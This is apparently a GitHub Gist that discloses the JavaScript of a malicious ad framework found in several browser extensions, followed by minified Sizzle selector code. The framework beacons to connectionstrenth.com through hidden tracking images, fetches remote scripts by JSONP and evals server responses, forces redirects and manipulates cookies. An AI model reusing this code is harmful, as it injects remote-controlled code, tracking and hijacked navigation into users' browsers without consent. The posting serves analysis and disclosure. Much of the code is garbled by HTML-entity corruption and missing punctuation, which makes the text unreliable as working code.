Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save StudioMaX/62af7d906c7e3ba4df294e4e39026159 to your computer and use it in GitHub Desktop.
Save StudioMaX/62af7d906c7e3ba4df294e4e39026159 to your computer and use it in GitHub Desktop.
Malware ad-framework used in different browser extensions
(function(f, i, j) {
var g = "684a91d7f4464c3350";
var b = (function() {
var l = 3;
var o = parseInt("0");
var n = parseInt("0");
(function() {
var q = ["mid=", "wid=50653", "sid=", "tid=1668", "rid=LAUNCHED"];
a = (window.location.protocol == "http:" ? "http:" : "https:") + "//connectionstrenth.com/metric/?" + q.join("&");
var p = f.createElement("img");
p.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;");
p.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
(document.head || document.documentElement).appendChild(p);
if (typeof p.onload != j) {
p.onload = function() {
p.parentNode & amp; & amp;
p.parentNode.removeChild(p)
}
}
})();
var m = false;
if (typeof(MainWindow) != "undefined") {
window.document = MainWindow.document.parentWindow
}
if (m) {
return false
}(function(d, w, uniqId, u) {
var isReady = false,
readyQueue = [],
div = u,
$$ = {};
if (typeof(JSON) === u) {
JSON = {}
}
function onReady() {
isReady = true;
while (readyQueue.length & gt; 0) {
(readyQueue.pop())()
}
}
if (typeof(d.getElementsByClassName) == u) {
d.getElementsByClassName = function(cl) {
var retnode = [];
var myclass = new RegExp("\\b" + cl + "\\b");
var elem = this.getElementsByTagName("*");
for (var i = 0; i & lt; elem.length; i++) {
var classes = elem[i].className;
if (myclass.test(classes)) {
retnode.push(elem[i])
}
}
return retnode
}
}
$$ = w[uniqId] = {
l: {},
isIe: !!d.attachEvent,
scriptDomain: "connectionstrenth.com",
unixTimestampNow: Math.round(new Date().getTime() / 1000),
optoutValue: {},
limitsValue: {},
currentOptoutBlock: null,
monetizationsConfig: {},
ready: function(callback) {
!isReady ? readyQueue.push(callback) : callback()
},
createEl: function(html) {
if (div === u) {
div = d.createElement("div")
}
div.innerHTML = html;
return div.firstChild
},
each: function(array, callback) {
var i = 0,
length = array.length;
for (; i & lt; length;) {
if (callback(array[i], i++) === false) {
return true
}
}
},
inArray: function(array, e) {
var i = 0,
length = array.length;
for (; i & lt; length; i++) {
if (e === array[i]) {
return true
}
}
return false
},
filter: function(array, callback) {
var i = 0,
length = array.length,
ret = [];
for (; i & lt; length; i++) {
if (callback(array[i], i)) {
ret.push(array[i])
}
}
return ret
},
apply: function() {
var obj = {};
$$.each(arguments, function(arg) {
for (var i in arg) {
obj[i] = arg[i]
}
});
return obj
},
xhrRequest: function(xhr, o) {
var timeoutId = u,
isTimedout = false,
$this = this;
function __gacb(data) {
o.callback(data)
}
o.url += (o.url.indexOf("?") & gt; = 0 ? "&" : "?") + "ajax";
xhr.onreadystatechange = function() {
if (isTimedout) {
return
}
if (xhr.readyState === 4) {
if (xhr.status === 200 & amp; & amp; xhr.responseText) {
if (timeoutId) {
clearTimeout(timeoutId)
}
if (xhr.responseText.indexOf("__gacb(") & gt; - 1) {
eval(xhr.responseText)
} else {
o.callback($this.fromJson(xhr.responseText))
}
}
}
};
xhr.open("GET", o.url);
xhr.withCredentials = false;
timeoutId = setTimeout(function() {
isTimedout = true;
xhr.abort();
$$.jsonpRequest(o)
}
o.timeout);
xhr.send()
}
jsonp: function(opts) {
var timeoutId = u
isTimedout = false;
var o = $$.apply({
callback: function() {}
timeout: 15000
onTimeout: function() {}
data: {}
}
opts || {});
var r = Math.floor(Math.random() * 1000000000);
var jsonpFunction = "__twb_cb_" + r;
w[jsonpFunction] = function(data) {
if (isTimedout) {
return
}
if (timeoutId) {
clearTimeout(timeoutId)
}
o.callback(data);
onComplete()
};
var onComplete = function() {
w[jsonpFunction] = u;
if (s & amp; & amp; s.parentNode) {
s.parentNode.removeChild(s)
}
};
o.url += (o.url.indexOf("?") & gt; = 0 ? "&" : "?") + "jsonp=" + jsonpFunction + "&" + $$.toUrlParams(o.data);
var s = $$.script(o.url);
timeoutId = setTimeout(function() {
isTimedout = true;
o.onTimeout();
onComplete()
}
o.timeout)
}
toUrlParams: function(formdata, numeric_prefix, arg_separator) {
var value
key
tmp = [];
var _http_build_query_helper = function(key, val, arg_separator) {
var k
tmp = [];
if (val === true) {
val = "1"
} else {
if (val === false) {
val = "0"
}
}
if (val != null) {
if (typeof val === "object") {
for (k in val) {
if (val[k] != null) {
tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator))
}
}
return tmp.join(arg_separator)
} else {
if (typeof val !== "function") {
return w.encodeURIComponent(key) + "=" + w.encodeURIComponent(val)
} else {
return ""
}
}
} else {
return ""
}
};
if (!arg_separator) {
arg_separator = "&"
}
for (key in formdata) {
value = formdata[key];
if (numeric_prefix & amp; & amp; !isNaN(key)) {
key = String(numeric_prefix) + key
}
var query = _http_build_query_helper(key, value, arg_separator);
if (query !== "") {
tmp.push(query)
}
}
return tmp.join(arg_separator)
}
jsonpRequest: function(o) {
var timeoutId = u
isTimedout = false;
callbackName = "f" + this.randomNumber(10000, 9999999);
o.url += (o.url.indexOf("?") & gt; = 0 ? "&" : "?") + "jsonp=" + callbackName;
w[callbackName] = function(data) {
if (isTimedout) {
return
}
if (timeoutId) {
clearTimeout(timeoutId)
}
o.callback(data)
};
var s = $$.script(o.url);
timeoutId = setTimeout(function() {
isTimedout = true;
s.parentNode.removeChild(s);
o.onTimeout()
}
o.timeout)
}
toJson: JSON.stringify || function(obj) {
var t = typeof(obj);
if (t != "object" || obj === null) {
if (t == "string") {
obj = '"' + obj + '"'
}
return String(obj)
} else {
var n
v
json = []
arr = (obj & amp; & amp; obj.constructor == Array);
for (n in obj) {
v = obj[n];
t = typeof(v);
if (t == "string") {
v = '"' + v + '"'
} else {
if (t == "object" & amp; & amp; v !== null) {
v = arguments.callee(v)
}
}
json.push((arr ? "" : '"' + n + '":') + String(v))
}
return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}")
}
}
fromJson: JSON.parse || function(str) {
if (str === "") {
str = '""'
}
eval("var p=" + str + ";");
return p
}
xor: function(str) {
var i = 0
length = str.length
ret = "";
for (; i & lt; length;) {
ret += String.fromCharCode(77 ^ str.charCodeAt(i++))
}
return ret
}
script: function(src, nocache, attributes) {
var s = d.createElement("script");
s.type = "text/javascript";
if (attributes) {
for (var i in attributes) {
s.setAttribute(i, attributes[i])
}
}
s.src = src + (nocache === u || nocache ? (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()) : "");
d.getElementsByTagName("body")[0].appendChild(s);
return s
}
includeCss: function(src) {
var style = d.createElement("link");
if (d.getElementsByTagName("body")[0]) {
d.getElementsByTagName("body")[0].appendChild(style);
style.rel = "stylesheet";
style.type = "text/css";
style.href = src
}
}
hasClass: function(element, className) {
return (!!element.getAttribute("class") & amp; & amp; element.getAttribute("class").indexOf(className) & gt; - 1)
}
addClass: function(element, className) {
element.setAttribute("class", (!!element.getAttribute("class") ? element.getAttribute("class") + " " : "") + className)
}
removeClass: function(element, className) {
if (!!element.getAttribute("class")) {
element.setAttribute("class", element.getAttribute("class").replace(className, ""))
}
}
randomNumber: function(min, max) {
return Math.floor(Math.random() * max) + min
}
eval: function(data) {
var s = d.createElement("script");
s.defer = true;
s.text = data;
(d.getElementsByTagName("script")[0] || d.documentElement.firstChild).parentNode.appendChild(s)
}
on: function(el, event, fn) {
var handler = function(event) {
fn.call(el, event || w.event)
};
if (el.addEventListener) {
el.addEventListener(event, handler, false)
} else {
if (el.attachEvent) {
el.attachEvent("on" + event, handler)
}
}
}
redirect: function(url, blank) {
var a = d.createElement("a");
a.href = url;
if (blank) {
a.target = "_blank"
}
a.__norewrite = true;
d.body.appendChild(a);
a.click();
d.body.removeChild(a)
}
setCookie: function(name, value, opts) {
var o = opts || {}
expire = u;
if (o.expire) {
expire = new Date();
expire.setTime(expire.getTime() + (o.expire * 1000))
}
document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + (expire ? "; expires=" + expire.toUTCString() : "") + (o.path ? "; path=" + o.path : "") + (o.domain ? "; domain=" + o.domain : "")
}
getCookie: function(name) {
var value = u;
$$.each(d.cookie.split("; ")function(raw) {
var parts = raw.split("=");
var cookieName = decodeURIComponent(parts.shift());
if (cookieName == name) {
value = decodeURIComponent(parts.join("="));
return false
}
});
return value
}
encode: function(s) {
var i = 0
ret = ""
length = s.length;
for (; i & lt; length; i++) {
ret += ("%" + s.charCodeAt(i).toString(16))
}
return ret
}
preventDefault: function(e) {
if (e.preventDefault) {
e.preventDefault()
}
return e.returnValue = false
}
remove: function(e) {
return e.parentNode & amp; & amp;
e.parentNode.removeChild(e)
}
attr: function(e, name) {
if (e.hasAttribute & amp; & amp; e.hasAttribute(name)) {
return e.getAttribute(name)
} else {
var node = e.getAttributeNode(name);
if (node) {
return node.value
}
}
return ""
}
updateLimits: function(block, lifetime) {
if (!lifetime) {
var mConfig = {};
if (w[uniqId].monetizationsConfig & amp; & amp; w[uniqId].monetizationsConfig[block]) {
mConfig = w[uniqId].monetizationsConfig[block]
}
lifetime = mConfig.limit
}
if (lifetime & gt; 0) {
$$.limitsValue[block] = $$.unixTimestampNow + parseInt(lifetime);
var cookieValue = $$.toJson($$.limitsValue);
$$.jsonp({
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/limit"
data: {
key: "684a91d7f4464c3350"
cv: cookieValue
}
callback: function(response) {}
})
} else {}
}
setStartTime: function() {
var cookieValue = $$.unixTimestampNow;
$$.jsonp({
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/strtm"
data: {
key: "684a91d7f4464c3350"
cv: cookieValue
}
callback: function(response) {}
})
}
loadedCallback: function(code, block, custom1, custom2, custom3, custom4, custom5) {
if (typeof block == "undefined") {
block = ""
}
var params = ["mid=" + block "wid=50653"
"sid=" + ((w[uniqId] & amp; & amp; w[uniqId].tbParams & amp; & amp; w[uniqId].tbParams.sid) ? w[uniqId].tbParams.sid : "")
"tid=1668"
"rid=" + code
];
if (custom1) {
params.push("custom1=" + custom1)
}
if (custom2) {
params.push("custom2=" + custom2)
}
if (custom3) {
params.push("custom3=" + custom3)
}
if (custom4) {
params.push("custom4=" + custom4)
}
if (custom5) {
params.push("custom5=" + custom5)
}
var src = (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/metric/?" + params.join("&");
var imgEl = d.createElement("img");
imgEl.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;");
imgEl.src = src + (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
d.getElementsByTagName("body")[0].appendChild(imgEl);
$$.on(imgEl, "load", function() {
$$.remove(imgEl)
})
}
reportSetCallback: function(response) {}
host: function(url) {
var m = url.match(/^https?:\/\/([^\/]+)/);
return m ? m[1] : ""
}
optoutShow: function(block) {
if ($$.tbParams.optoutUrl) {
location.href = $$.tbParams.optoutUrl
} else {
if (!$$.twBarOptOut & amp; & amp; typeof $$.twBarOptOutInit == "function") {
$$.twBarOptOutInit()
}
if ($$.twBarOptOut) {
$$.currentOptoutBlock = block;
$$.twBarOptOut.style.display = "block";
$$.loadedCallback("OPTOUT_SHOW", block)
}
}
}
optoutHide: function(block) {
if ($$.twBarOptOut) {
$$.twBarOptOut.style.display = "none"
}
}
getMonetizationConfig: function(block) {
if (w[uniqId].monetizationsConfig & amp; & amp; w[uniqId].monetizationsConfig[block] & amp; & amp; w[uniqId].monetizationsConfig[block].config) {
return w[uniqId].monetizationsConfig[block].config
}
return {}
}
};
if (d.addEventListener) {
d.addEventListener("DOMContentLoaded", function() {
onReady()
}
false)
} else {
if (d.attachEvent) {
d.attachEvent("onreadystatechange", function() {
onReady()
})
}
}
if (d.readyState) {
(function() {
if ((!$$.isIe & amp; & amp; d.readyState === "interactive") || d.readyState === "complete") {
onReady()
} else {
setTimeout(arguments.callee, 100)
}
})()
} else {
var toplevel = false;
try {
toplevel = window.frameElement == null
} catch (e) {}
if (d & amp; & amp; d.dElement & amp; & amp; d.dElement.doScroll & amp; & amp; toplevel) {
(function() {
try {
d.dElement.doScroll("left")
} catch (e) {
setTimeout(arguments.callee, 100);
return
}
onReady()
})()
}
}
})(document, window, "684a91d7f4464c3350", undefined);;
(function(aA, q) {
var G
aD
l
v
R
U
ag
aH
S
aj
L
w
at
an
aB
k
P
av = "sizzle" + -(new Date())
T = aA.document
aE = 0
ao = 0
d = J()
au = J()
Q = J()
ah = false
N = function() {
return 0
}
az = typeof q
ab = 1 & lt; & lt;
31
Y = ({}).hasOwnProperty
ax = []
ay = ax.pop
W = ax.push
b = ax.push
u = ax.slice
j = ax.indexOf || function(aJ) {
var aI = 0
e = this.length;
for (; aI & lt; e; aI++) {
if (this[aI] === aJ) {
return aI
}
}
return -1
}
c = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped"
x = "[\\x20\\t\\r\\n\\f]"
a = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+"
V = a.replace("w", "w#")
aq = "\\[" + x + "*(" + a + ")" + x + "*(?:([*^$|!~]?=)" + x + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + V + ")|)|)" + x + "*\\]",
s = ":(" + a + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + aq.replace(3, 8) + ")*)|.*)\\)|)",
z = new RegExp("^" + x + "+|((?:^|[^\\\\])(?:\\\\.)*)" + x + "+$", "g"),
D = new RegExp("^" + x + "*
" + x + " * "),
K = new RegExp("^" + x + "*([>+~]|" + x + ")" + x + "*"),
al = new RegExp(x + "*[+~]"),
B = new RegExp("=" + x + "*([^\\]'\"]*)" + x + "*\\]", "g"),
ad = new RegExp(s),
ae = new RegExp("^" + V + "$"),
am = {
ID: new RegExp("^#(" + a + ")"),
CLASS: new RegExp("^\\.(" + a + ")"),
TAG: new RegExp("^(" + a.replace("w", "w*") + ")")
ATTR: new RegExp("^" + aq)
PSEUDO: new RegExp("^" + s)
CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + x + "*(even|odd|(([+-]|)(\\d*)n|)" + x + "*(?:([+-]|)" + x + "*(\\d+)|))" + x + "*\\)|)", "i"),
bool: new RegExp("^(?:" + c + ")$", "i"),
needsContext: new RegExp("^" + x + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + x + "*((?:-\\d)?\\d*)" + x + "*\\)|)(?=[^-]|$)", "i")
},
aa = /^[^{]+\{\s*\[native \w/,
ac = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
h = /^(?:input|select|textarea|button)$/i,
t = /^h\d$/i,
X = /'|\\/g,
A = new RegExp("\\\\([\\da-f]{1,6}" + x + "?|(" + x + ")|.)", "ig"),
ap = function(e, aJ, i) {
var aI = "0x" + aJ - 65536;
return aI !== aI || i ? aJ : aI & lt;
0 ? String.fromCharCode(aI + 65536) : String.fromCharCode(aI & gt; & gt; 10 | 55296, aI & amp; 1023 | 56320)
};
try {
b.apply((ax = u.call(T.childNodes)), T.childNodes);
ax[T.childNodes.length].nodeType
} catch (M) {
b = {
apply: ax.length ? function(i, e) {
W.apply(i, u.call(e))
} : function(aK, aJ) {
var e = aK.length,
aI = 0;
while ((aK[e++] = aJ[aI++])) {}
aK.length = e - 1
}
}
}
function E(aP, aI, aT, aV) {
var aU, aM, aN, aR, aS, aL, aK, e, aJ, aQ;
if ((aI ? aI.ownerDocument || aI : T) !== L) {
aj(aI)
}
aI = aI || L;
aT = aT || [];
if (!aP || typeof aP !== "string") {
return aT
}
if ((aR = aI.nodeType) !== 1 & amp; & amp; aR !== 9) {
return []
}
if (at & amp; & amp; !aV) {
if ((aU = ac.exec(aP))) {
if ((aN = aU[1])) {
if (aR === 9) {
aM = aI.getElementById(aN);
if (aM & amp; & amp; aM.parentNode) {
if (aM.id === aN) {
aT.push(aM);
return aT
}
} else {
return aT
}
} else {
if (aI.ownerDocument & amp; & amp;
(aM = aI.ownerDocument.getElementById(aN)) & amp; & amp; P(aI, aM) & amp; & amp; aM.id === aN) {
aT.push(aM);
return aT
}
}
} else {
if (aU[2]) {
b.apply(aT, aI.getElementsByTagName(aP));
return aT
} else {
if ((aN = aU[3]) & amp; & amp; aD.getElementsByClassName & amp; & amp; aI.getElementsByClassName) {
b.apply(aT, aI.getElementsByClassName(aN));
return aT
}
}
}
}
if (aD.qsa & amp; & amp;
(!an || !an.test(aP))) {
e = aK = av;
aJ = aI;
aQ = aR === 9 & amp; & amp;
aP;
if (aR === 1 & amp; & amp; aI.nodeName.toLowerCase() !== "object") {
aL = p(aP);
if ((aK = aI.getAttribute("id"))) {
e = aK.replace(X, "\\$&")
} else {
aI.setAttribute("id", e)
}
e = "[id='" + e + "'] ";
aS = aL.length;
while (aS--) {
aL[aS] = e + o(aL[aS])
}
aJ = al.test(aP) & amp; & amp;
aI.parentNode || aI;
aQ = aL.join("
")
}
if (aQ) {
try {
b.apply(aT, aJ.querySelectorAll(aQ));
return aT
} catch (aO) {} finally {
if (!aK) {
aI.removeAttribute("id")
}
}
}
}
}
return aC(aP.replace(z, "$1"), aI, aT, aV)
}
function O(e) {
return aa.test(e + "")
}
function J() {
var i = [];
function e(aI, aJ) {
if (i.push(aI += " ") & gt; v.cacheLength) {
delete e[i.shift()]
}
return (e[aI] = aJ)
}
return e
}
function r(e) {
e[av] = true;
return e
}
function m(i) {
var aJ = L.createElement("div");
try {
return !!i(aJ)
} catch (aI) {
return false
} finally {
if (aJ.parentNode) {
aJ.parentNode.removeChild(aJ)
}
aJ = null
}
}
function aF(e, aJ, aM) {
e = e.split("|");
var aL, aI = e.length,
aK = aM ? null : aJ;
while (aI--) {
if (!(aL = v.attrHandle[e[aI]]) || aL === aJ) {
v.attrHandle[e[aI]] = aK
}
}
}
function Z(i, e) {
var aI = i.getAttributeNode(e);
return aI & amp; & amp;
aI.specified ? aI.value : i[e] === true ? e.toLowerCase() : null
}
function H(i, e) {
return i.getAttribute(e, e.toLowerCase() === "type" ? 1 : 2)
}
function C(e) {
if (e.nodeName.toLowerCase() === "input") {
return e.defaultValue
}
}
function f(i, e) {
var aJ = e & amp; & amp;
i,
aI = aJ & amp; & amp;
i.nodeType === 1 & amp; & amp;
e.nodeType === 1 & amp; & amp;
(~e.sourceIndex || ab) - (~i.sourceIndex || ab);
if (aI) {
return aI
}
if (aJ) {
while ((aJ = aJ.nextSibling)) {
if (aJ === e) {
return -1
}
}
}
return i ? 1 : -1
}
function F(e) {
return function(aI) {
var i = aI.nodeName.toLowerCase();
return i === "input" & amp; & amp;
aI.type === e
}
}
function g(e) {
return function(aI) {
var i = aI.nodeName.toLowerCase();
return (i === "input" || i === "button") & amp; & amp;
aI.type === e
}
}
function ar(e) {
return r(function(i) {
i = +i;
return r(function(aI, aM) {
var aK, aJ = e([], aI.length, i),
aL = aJ.length;
while (aL--) {
if (aI[(aK = aJ[aL])]) {
aI[aK] = !(aM[aK] = aI[aK])
}
}
})
})
}
U = E.isXML = function(e) {
var i = e & amp; & amp;
(e.ownerDocument || e).documentElement;
return i ? i.nodeName !== "HTML" : false
};
aD = E.support = {};
aj = E.setDocument = function(e) {
var i = e ? e.ownerDocument || e : T;
if (i === L || i.nodeType !== 9 || !i.documentElement) {
return L
}
L = i;
w = i.documentElement;
at = !U(i);
aD.attributes = m(function(aI) {
aI.innerHTML = "<a href='#'></a>";
aF("type|href|height|width", H, aI.firstChild.getAttribute("href") === "#");
aF(c, Z, aI.getAttribute("disabled") == null);
aI.className = "i";
return !aI.getAttribute("className")
});
aD.input = m(function(aI) {
aI.innerHTML = "<input>";
aI.firstChild.setAttribute("value", "");
return aI.firstChild.getAttribute("value") === ""
});
aF("value", C, aD.attributes & amp; & amp; aD.input);
aD.getElementsByTagName = m(function(aI) {
aI.appendChild(i.createComment(""));
return !aI.getElementsByTagName("*").length
});
aD.getElementsByClassName = m(function(aI) {
aI.innerHTML = "<div class='a'></div><div class='a i'></div>";
aI.firstChild.className = "i";
return aI.getElementsByClassName("i").length === 2
});
aD.getById = m(function(aI) {
w.appendChild(aI).id = av;
return !i.getElementsByName || !i.getElementsByName(av).length
});
if (aD.getById) {
v.find.ID = function(aK, aJ) {
if (typeof aJ.getElementById !== az & amp; & amp; at) {
var aI = aJ.getElementById(aK);
return aI & amp; & amp;
aI.parentNode ? [aI] : []
}
};
v.filter.ID = function(aJ) {
var aI = aJ.replace(A, ap);
return function(aK) {
return aK.getAttribute("id") === aI
}
}
} else {
delete v.find.ID;
v.filter.ID = function(aJ) {
var aI = aJ.replace(A, ap);
return function(aL) {
var aK = typeof aL.getAttributeNode !== az & amp; & amp;
aL.getAttributeNode("id");
return aK & amp; & amp;
aK.value === aI
}
}
}
v.find.TAG = aD.getElementsByTagName ? function(aI, aJ) {
if (typeof aJ.getElementsByTagName !== az) {
return aJ.getElementsByTagName(aI)
}
} : function(aI, aM) {
var aN, aL = [],
aK = 0,
aJ = aM.getElementsByTagName(aI);
if (aI === "*") {
while ((aN = aJ[aK++])) {
if (aN.nodeType === 1) {
aL.push(aN)
}
}
return aL
}
return aJ
};
v.find.CLASS = aD.getElementsByClassName & amp; & amp;
function(aJ, aI) {
if (typeof aI.getElementsByClassName !== az & amp; & amp; at) {
return aI.getElementsByClassName(aJ)
}
};
aB = [];
an = [];
if ((aD.qsa = O(i.querySelectorAll))) {
m(function(aI) {
aI.innerHTML = "<select><option selected=''></option></select>";
if (!aI.querySelectorAll("[selected]").length) {
an.push("\\[" + x + "*(?:value|" + c + ")")
}
if (!aI.querySelectorAll(":checked").length) {
an.push(":checked")
}
});
m(function(aJ) {
var aI = i.createElement("input");
aI.setAttribute("type", "hidden");
aJ.appendChild(aI).setAttribute("t", "");
if (aJ.querySelectorAll("[t^='']").length) {
an.push("[*^$]=" + x + "*(?:''|\"\")")
}
if (!aJ.querySelectorAll(":enabled").length) {
an.push(":enabled", ":disabled")
}
aJ.querySelectorAll("*: x ");
an.push("
.*: ")
})
}
if ((aD.matchesSelector = O((k = w.webkitMatchesSelector || w.mozMatchesSelector || w.oMatchesSelector || w.msMatchesSelector)))) {
m(function(aI) {
aD.disconnectedMatch = k.call(aI, "div");
k.call(aI, "[s!='']:x");
aB.push("!=", s)
})
}
an = an.length & amp; & amp; new RegExp(an.join("|")); aB = aB.length & amp; & amp; new RegExp(aB.join("|")); P = O(w.contains) || w.compareDocumentPosition ? function(aJ, aI) {
var aL = aJ.nodeType === 9 ? aJ.documentElement : aJ,
aK = aI & amp; & amp;
aI.parentNode;
return aJ === aK || !!(aK & amp; & amp; aK.nodeType === 1 & amp; & amp;
(aL.contains ? aL.contains(aK) : aJ.compareDocumentPosition & amp; & amp; aJ.compareDocumentPosition(aK) & amp; 16))
} : function(aJ, aI) {
if (aI) {
while ((aI = aI.parentNode)) {
if (aI === aJ) {
return true
}
}
}
return false
}; aD.sortDetached = m(function(aI) {
return aI.compareDocumentPosition(i.createElement("div")) & amp;
1
}); N = w.compareDocumentPosition ? function(aJ, aI) {
if (aJ === aI) {
ah = true;
return 0
}
var aK = aI.compareDocumentPosition & amp; & amp;
aJ.compareDocumentPosition & amp; & amp;
aJ.compareDocumentPosition(aI);
if (aK) {
if (aK & amp; 1 || (!aD.sortDetached & amp; & amp; aI.compareDocumentPosition(aJ) === aK)) {
if (aJ === i || P(T, aJ)) {
return -1
}
if (aI === i || P(T, aI)) {
return 1
}
return S ? (j.call(S, aJ) - j.call(S, aI)) : 0
}
return aK & amp;
4 ? -1 : 1
}
return aJ.compareDocumentPosition ? -1 : 1
} : function(aJ, aI) {
var aP, aM = 0,
aO = aJ.parentNode,
aL = aI.parentNode,
aK = [aJ],
aN = [aI];
if (aJ === aI) {
ah = true;
return 0
} else {
if (!aO || !aL) {
return aJ === i ? -1 : aI === i ? 1 : aO ? -1 : aL ? 1 : S ? (j.call(S, aJ) - j.call(S, aI)) : 0
} else {
if (aO === aL) {
return f(aJ, aI)
}
}
}
aP = aJ;
while ((aP = aP.parentNode)) {
aK.unshift(aP)
}
aP = aI;
while ((aP = aP.parentNode)) {
aN.unshift(aP)
}
while (aK[aM] === aN[aM]) {
aM++
}
return aM ? f(aK[aM], aN[aM]) : aK[aM] === T ? -1 : aN[aM] === T ? 1 : 0
};
return i
};
E.matches = function(i, e) {
return E(i, null, null, e)
};
E.matchesSelector = function(aI, aK) {
if ((aI.ownerDocument || aI) !== L) {
aj(aI)
}
aK = aK.replace(B, "='$1']");
if (aD.matchesSelector & amp; & amp; at & amp; & amp;
(!aB || !aB.test(aK)) & amp; & amp;
(!an || !an.test(aK))) {
try {
var i = k.call(aI, aK);
if (i || aD.disconnectedMatch || aI.document & amp; & amp; aI.document.nodeType !== 11) {
return i
}
} catch (aJ) {}
}
return E(aK, L, null, [aI]).length & gt;
0
};
E.contains = function(e, i) {
if ((e.ownerDocument || e) !== L) {
aj(e)
}
return P(e, i)
};
E.attr = function(aI, e) {
if ((aI.ownerDocument || aI) !== L) {
aj(aI)
}
var i = v.attrHandle[e.toLowerCase()],
aJ = (i & amp; & amp; Y.call(v.attrHandle, e.toLowerCase()) ? i(aI, e, !at) : q);
return aJ === q ? aD.attributes || !at ? aI.getAttribute(e) : (aJ = aI.getAttributeNode(e)) & amp; & amp;
aJ.specified ? aJ.value : null: aJ
};
E.error = function(e) {
throw new Error("Syntax error
unrecognized expression: " + e)
};
E.uniqueSort = function(aJ) {
var aK, aL = [],
e = 0,
aI = 0;
ah = !aD.detectDuplicates;
S = !aD.sortStable & amp; & amp;
aJ.slice(0);
aJ.sort(N);
if (ah) {
while ((aK = aJ[aI++])) {
if (aK === aJ[aI]) {
e = aL.push(aI)
}
}
while (e--) {
aJ.splice(aL[e], 1)
}
}
return aJ
};
R = E.getText = function(aL) {
var aK, aI = "",
aJ = 0,
e = aL.nodeType;
if (!e) {
for (;
(aK = aL[aJ]); aJ++) {
aI += R(aK)
}
} else {
if (e === 1 || e === 9 || e === 11) {
if (typeof aL.textContent === "string") {
return aL.textContent
} else {
for (aL = aL.firstChild; aL; aL = aL.nextSibling) {
aI += R(aL)
}
}
} else {
if (e === 3 || e === 4) {
return aL.nodeValue
}
}
}
return aI
};
v = E.selectors = {
cacheLength: 50,
createPseudo: r,
match: am,
attrHandle: {},
find: {},
relative: {
">": {
dir: "parentNode",
first: true
},
" ": {
dir: "parentNode"
},
"+": {
dir: "previousSibling",
first: true
},
"~": {
dir: "previousSibling"
}
},
preFilter: {
ATTR: function(e) {
e[1] = e[1].replace(A, ap);
e[3] = (e[4] || e[5] || "").replace(A, ap);
if (e[2] === "~=") {
e[3] = " " + e[3] + " "
}
return e.slice(0, 4)
},
CHILD: function(e) {
e[1] = e[1].toLowerCase();
if (e[1].slice(0, 3) === "nth") {
if (!e[3]) {
E.error(e[0])
}
e[4] = +(e[4] ? e[5] + (e[6] || 1) : 2 * (e[3] === "even" || e[3] === "odd"));
e[5] = +((e[7] + e[8]) || e[3] === "odd")
} else {
if (e[3]) {
E.error(e[0])
}
}
return e
},
PSEUDO: function(i) {
var e, aI = !i[5] & amp; & amp;
i[2];
if (am.CHILD.test(i[0])) {
return null
}
if (i[3] & amp; & amp; i[4] !== q) {
i[2] = i[4]
} else {
if (aI & amp; & amp; ad.test(aI) & amp; & amp;
(e = p(aI, true)) & amp; & amp;
(e = aI.indexOf(")", aI.length - e) - aI.length)) {
i[0] = i[0].slice(0, e);
i[2] = aI.slice(0, e)
}
}
return i.slice(0, 3)
}
},
filter: {
TAG: function(i) {
var e = i.replace(A, ap).toLowerCase();
return i === "*" ? function() {
return true
} : function(aI) {
return aI.nodeName & amp; & amp;
aI.nodeName.toLowerCase() === e
}
},
CLASS: function(e) {
var i = d[e + " "];
return i || (i = new RegExp("(^|" + x + ")" + e + "(" + x + "|$)")) & amp; & amp;
d(e, function(aI) {
return i.test(typeof aI.className === "string" & amp; & amp; aI.className || typeof aI.getAttribute !== az & amp; & amp; aI.getAttribute("class") || "")
})
},
ATTR: function(aI, i, e) {
return function(aK) {
var aJ = E.attr(aK, aI);
if (aJ == null) {
return i === "!="
}
if (!i) {
return true
}
aJ += "";
return i === "=" ? aJ === e : i === "!=" ? aJ !== e : i === "^=" ? e & amp; & amp;
aJ.indexOf(e) === 0: i === "*=" ? e & amp; & amp;
aJ.indexOf(e) & gt; - 1: i === "$=" ? e & amp; & amp;
aJ.slice(-e.length) === e: i === "~=" ? (" " + aJ + " ").indexOf(e) & gt; - 1: i === "|=" ? aJ === e || aJ.slice(0, e.length + 1) === e + "-" : false
}
},
CHILD: function(i, aK, aJ, aL, aI) {
var aN = i.slice(0, 3) !== "nth",
e = i.slice(-4) !== "last",
aM = aK === "of-type";
return aL === 1 & amp; & amp;
aI === 0 ? function(aO) {
return !!aO.parentNode
} : function(aU, aS, aX) {
var aO, a0, aV, aZ, aW, aR, aT = aN !== e ? "nextSibling" : "previousSibling",
aY = aU.parentNode,
aQ = aM & amp; & amp;
aU.nodeName.toLowerCase(),
aP = !aX & amp; & amp;
!aM;
if (aY) {
if (aN) {
while (aT) {
aV = aU;
while ((aV = aV[aT])) {
if (aM ? aV.nodeName.toLowerCase() === aQ : aV.nodeType === 1) {
return false
}
}
aR = aT = i === "only" & amp; & amp;
!aR & amp; & amp;
"nextSibling"
}
return true
}
aR = [e ? aY.firstChild : aY.lastChild];
if (e & amp; & amp; aP) {
a0 = aY[av] || (aY[av] = {});
aO = a0[i] || [];
aW = aO[0] === aE & amp; & amp;
aO[1];
aZ = aO[0] === aE & amp; & amp;
aO[2];
aV = aW & amp; & amp;
aY.childNodes[aW];
